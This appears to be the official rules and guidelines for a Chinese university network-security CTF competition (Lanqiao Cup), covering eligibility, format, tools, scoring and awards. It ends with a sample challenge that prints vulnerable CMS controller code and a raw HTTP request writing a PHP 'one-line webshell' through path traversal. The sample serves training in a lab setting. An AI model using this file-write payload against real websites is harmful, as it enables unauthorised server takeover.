蓝桥杯全国大学生软件和信息技术大赛组委会

第十八届蓝桥杯全国大学生软件和信息技术大赛
软件赛（网络安全科目）
竞赛规则及说明

一、参赛对象

具有正式全日制学籍并且符合相关科目报名要求的研究生、本科及高职高专学生（以报名时状态为准）。

每位选手配备一名指导教师，同一名指导教师可指导多位选手。省赛和全国总决赛比赛后指导教师原则上不能更改。

二、组别设置

该科目设置大学组。

三、竞赛赛制

本届大赛采用校赛、省赛、全国总决赛三级竞赛体系。

校赛：由参赛院校自行组织并进行评审。

省赛：由大赛组委会统一组织。比赛时长为 4 小时。

全国总决赛：由大赛组委会统一组织。比赛时长为 4 小时。

详细赛程安排以组委会公布信息为准。

四、竞赛形式

1. 省赛、全国总决赛均采用封闭、限时方式举办。选手以个人为单位，独立进行作答。

2. 采取线上比赛的形式。选手需访问互联网，通过大赛组委会指定的比赛系统进行答题。

3. 选手将答案提交到比赛系统中，超过比赛时间将无法提交。

4. 资料查询：比赛期间，选手可联网查询技术资料、参考文档等公开信息，但严禁使用任何 AI 工具（包括但不限于 ChatGPT、GitHub Copilot、文心一言、通义千问等）辅助答题。一经发现使用 AI 工具，视为作弊处理，取消比赛成绩。

五、参赛选手机器环境

1.选手比赛电脑须自带摄像头，系统为 Windows。

2.参赛选手需在赛前进行下载安装及调试，比赛前不再提供下载安装及调试时间。如因参赛选手的个人原因未及时下载安装，导致比赛时间耽搁或比赛成绩无效，责任由选手自行承担。

3.参赛选手只能在参赛电脑的 Windows 操作系统上录屏及登录监考平台，不能在远程登录的系统或虚拟机中进行录屏及登录监考平台。

4.选手需自行准备答题所需的安全工具。选手可使用任意安全工具进行竞赛。

安全工具示例（包括但不限于以下工具）：

(1)浏览器：Chrome 100 以上版本 / Firefox 100 以上版本

(2)虚拟机：Kali Linux

(3)语言环境：Python2.7、Python3.7、Java8 以上、phpStudy

(4)web 工具：BurpSuite、Yakit、AntSword、Phpstorm、Hackbar、Dirsearch

(5)二进制工具：gdb、Pwntools、IDA、Findcrypt、qemu

(6)Crypto 工具：PyCrypto、cryptography、gmpy2、CyberChef

(7)杂项工具：SSH 连接软件（须支持 SSH2 协议）、Wireshark、Volatility、FTK Imager、010editor、Winhex、MQTTX

(8)Python 库：numpy、torch、torchvision、pillow、skimage、pandas

六、赛题形式

竞赛题目类型为综合应用题，具体题型及题目数量以正式比赛时赛题为准。以选手所提交答案的测评结果为评分依据。

综合应用题考察选手的网络安全实战能力，将网安新兴技术、有缺陷的网络环境、数据流量等转换为赛题供选手进行分析，每道题目设有预置漏洞，旨在验证参赛者发现潜在威胁的专业能力。比赛过程中，选手将通过平台进行赛题信息的查看、附件下载、赛题环境下发等操作。选手获取题目后通过代码审计，资产收集，端口扫描，程序分析等形式，从赛题环境中获得一串具有特定格式的字符串（一般称为 flag），将其提交给平台，从而获得该题分数。

七、赛题考查范围

赛题类型包括但不限于：Web 渗透、漏洞挖掘利用、密码分析、取证分析、逆向分析、

安全编程、工控安全、车联网安全和 AI 安全等各项网络安全攻防技术，综合考察参赛选手对于网络安全知识的综合利用和问题解决能力。

八、答案提交

1. 平台登录

参赛选手根据准考证上的比赛地址、账号密码和比赛须知要求登录比赛平台。

2. 获取比赛题目

点击题目图标进入题目，选手可自由选择答题顺序。

（图片仅为示例，以实际比赛题目为准）

3. Docker 容器下发

Docker 是一个开源的应用容器引擎，我们的部分赛题会部署在使用 Docker 技术的容器当中，当您打开一道 Docker 容器下发的题目：

点击“下发赛题”，将有进度条加载：

加载完成后，将呈现一个链接：

点击链接访问，即可开始作答。

如果选手打开页面，显示如下：

这可能是由于容器开启需要一定时间，可稍候尝试刷新页面，若依旧无法打开，可返回平台点击“重新下发”。

请注意，每个选手同时只能下发一个容器。请由成功申请下发容器的选手，用自己的账号提交 flag。

4. 提交 flag

当选手打开一个题目，如下图：

通过漏洞挖掘与利用、代码分析等方式，从题目环境中得到一串具有一定格式的字符串或其他内容，将其在平台上提交，获得相应分数。提交的时候一般需要包含 flag{}的整体内容，如果 flag 有其他的特殊格式要求，一般在题目的描述里会提及。

九、评分

全部使用平台系统自动评分。

比赛采用国际惯用的动态积分模式(即每道题目的分值将根据解出选手的数量进行动态计分，每多一个人解出，该题目的分值会随之下降），每道题目初始分值 500，最终成绩取总分由高至低排列，分数相同情况下，按提交时间算，用时短者排名高于用时较长者。比赛中的一、二、三血没有额外分数。

选手得分=综合应用题得分/综合应用题最高分*100

示例：

选手 A 得分 763，本场比赛最高分 1093

选手 A 得分=763/1093*100=69.81

十、学习资源及样题

1.历届真题

参赛选手可在蓝桥杯官方网站-关于大赛-历届真题里查看往届蓝桥杯大赛的真题。链接：https://www.lanqiao.cn/courses/67522。

2.赛项资源

免费开放供参赛选手备赛使用，包含模拟题、真题解析、课程等资料。链接：https:/

/www.lanqiao.cn/paths/3361/。

3.样题

样题详见文档附录。

十一、奖项设置及评选办法

1.省赛

省赛该组别设立一、二、三等奖，原则上各奖项的获奖比例为10%、15%、25%，总获奖比例不超过50%。获奖比例仅作为参考，组委会将根据赛题难易程度及整体答题情况，制定各奖项获奖最低分数线，未达到获奖最低分数线者不得奖。省赛一等奖选手获得全国总决赛参赛资格。

2.全国总决赛

全国总决赛该组别设立一、二、三等奖，原则上各奖项的获奖比例为10%、25%、40%，总获奖比例不超过75%。获奖比例仅作为参考，组委会将根据赛题难易程度及整体答题情况，制定各奖项获奖最低分数线，未达到获奖最低分数线者不得奖。

十二、奖项公示

省赛及全国总决赛评审完成后，大赛组委会将在大赛官网开放奖项公示。参赛选手若对奖项有异议，可在3个工作日内按照大赛组委会相关要求提出复核申请。

十三、监督反馈

详见《蓝桥杯全国大学生软件和信息技术大赛章程》。

十四、其它注意事项

1.本赛项由国信蓝桥教育科技股份有限公司承办，永信至诚科技集团股份有限公司提供技术支持。

2.选手必须符合参赛资格，不得弄虚作假。资格审查中一旦发现问题，则取消其报名资格；竞赛过程中发现问题，则取消竞赛资格；竞赛后发现问题，则取消竞赛奖项，收回获奖证书及奖品等，并在大赛官方网站公示。

3.参赛选手应严格遵守蓝桥杯大赛诚信参赛管理办法（办法链接：dasai.lanqiao.cn/notices/844），服从大赛组委会的指挥和安排，爱护竞赛场地的设备。未尽事宜请参照组委会在大赛官方网站公布的通知、章程、比赛管理办法及相关要求并遵照执行。

4.竞赛采用系统阅卷的方式。选手必须仔细阅读题目和提交答案的要求，不要随意进行

改动赛题环境。

5. 为保证比赛的公平性，比赛中引入反作弊系统，监控比赛过程中的异常行为，譬如 IP 频繁变化、答题时间异常、flag 集中提交、相同 flag 等信息，并向系统管理员发起警报，同时记录异常日志，为参赛选手提供一个公平、公正的比赛环境。

6. 省赛及全国总决赛前，大赛组委会将在大赛官方网站公布线上比赛手册，请参赛选手及时关注大赛官方网站通知，并按照线上比赛手册要求进行备赛。

7. 大赛组委会将为参赛院校提供免费训练平台，训练平台具体介绍，请见大赛官方网站后续通知或咨询大赛组委会。

8. **解题报告（Write up）提交：**省赛及全国总决赛，选手须比赛期间内（4 小时内）通过大赛指定平台提交解题报告（Write up），包含每道已解答题目的解题思路、关键步骤及 flag。未按时提交或内容不符合要求的题目，该题成绩不予认定。

全国大学生软件和信息技术专业人才大赛 组织委员会

监桥杯大赛组委会

2026 年 10 月 8 日

附录：

样题 ：代码审计获取权限（综合应用题）

【问题描述】

平台下发了一个网站环境，选手通过代码审计发现其中存在的漏洞，上传一句话木马后即可获得网站权限。

【答案提交】

1.审计发现在 shuipf/Application/Template/Controller/StyleController.class.php

的 add 函数中可以写文件：

```php
//添加模板
public function add() {
    if (IS_POST) {
        //取得文件名
        $file = pathinfo(I('post.file'));
        $file = $file['filename'] . C("TMPL_TEMPLATE_SUFFIX");
        //模板内容
        $content = \Input::getVar(I('post.content', '', ''));
        //目录
        $dir = TEMPLATE_PATH . I('post.dir', '', '');
        $dir = str_replace(array("//"), array("/"), $dir);
        //检查目录是否存在
        if (!file_exists($dir)) {
            $this->error("该目录不存在！");
        }
        //检查目录是否可写
        if (!is_writable($dir)) {
            $this->error('目录 ' . $dir . ' 不可写！');
        }
        //完整新增文件路径
        $filepath = $dir . $file;
        if (file_exists($filepath)) {
            $this->error("该文件已经存在！");
        }
        //写入文件
        $status = file_put_contents($filepath, htmlspecialchars_decode(stripslashes($content)));
        if ($status) {
            $this->success("保存成功！", U("Template/Style/index"));
        } else {
            $this->error("保存失败，请检查模板文件权限是否设置为可写！");
        }
    } else {
        //取得目录路径
        $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\\', '../', './', '.\\', '.',), '', trim(
            urldecode($_GET['dir']))) : '';
        $dir = str_replace("-", "/", $dir);
        if (!file_exists(TEMPLATE_PATH . $dir)) {
            $this->error('该目录不存在！');
        }
        $this->assign('dir', $dir);
        $this->display();
    }
```

2.写入一句话木马 payload:

```
POST /index.php?g=Template&m=Style&a=add&file=1.php HTTP/1.1
Host: 192.168.1.103:8034
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,im
age/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=64f26nj755b7atudad45hrhvl0
Connection: close
Content-Length: 48
```

```
file=asdfa&content=<?php phpinfo();?>&dir=../
```

3.通过一句话木马直接读取位于根目录下的 flag。